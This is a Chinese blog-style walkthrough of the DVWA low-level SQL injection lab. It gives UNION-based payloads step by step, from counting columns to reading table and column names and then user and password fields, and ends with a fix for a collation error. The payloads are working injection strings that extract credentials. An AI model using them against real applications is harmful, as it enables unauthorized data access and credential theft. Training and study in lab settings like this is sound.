[网络安全]DVWA之SQL注入—low level解题详析

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
DVWA请读者自行安装,本文不再赘述。

判断漏洞类型

  • 判断是否为数字型注入

若为数字型注入,则第二个语句应回显Error或没有回显。

  • 判断是否为字符型注入

第二个语句没有回显,所以该漏洞类型为字符型注入漏洞。

判断注入点个数

输入1' order by 4#时,回显Unknown column '4' in 'order clause'

说明猜测的注入点个数过大

输入1' order by 2#时,回显如下:
说明注入点个数为2或3

输入1' order by 3#时,回显Unknown column '3' in 'order clause'

所以注入点个数为两个

爆库名

输入1' union select 1,database()#

回显一个数据库名

图片中第一段为第一个注入点的信息,第二段为第二个注入点(即database)的信息。

爆当前用户名

输入1' union select 1,user()#

由于注入点有两个,所以我们可以通过一个sql语句既查询数据库名又查询当前用户名

输入1' union select user(),database()#

注意,如果使用1' union select user()#的话,会回显The used SELECT statements have a different number of columns(所使用的 SELECT 语句具有不同数量的列),因为该语句的注入点只有一个。

爆表名

输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显guestbook和users两个表名
也可采用如下语句
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
其中,group_concat的作用是将多个值连接成一个字符串,并用逗号连接。

爆列名

输入1' union select 1, column_name from information_schema.columns where table_name='users'#
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
相比之下,在查询结果过多的情况下,建议使用group_concat将查询结果集合起来

爆字段

输入1' union select user,password from users#

报错分析及解决方法

若SQL联合注入过程中出现该报错:illegal mix of collations for operation UNION
原因如下:information_schema里的table的排序规则是utf8_general_ci,而user表中字段默认为utf8_unicode_ci,导致字符排序不匹配。
解决方法:

  1. 在phpstudy中打开phpMyAdmin
  1. 进入dvwa数据库中的user表,将各列排序规则修改为utf8_gengeral_ci,保存即可。
相关推荐
倔强的石头_1 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横1 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
冬奇Lab2 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence2 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
无响应de神2 天前
三、用户与权限管理
数据库·mysql
麦聪聊数据3 天前
数据服务化时代:企业数据能力输出的核心路径
数据库
treesforest3 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
shushangyun_3 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
DARLING Zero two♡3 天前
【MySQL数据库】数据类型与表约束
数据库·mysql
曹牧3 天前
Oracle EXPLAIN PLAN
数据库·oracle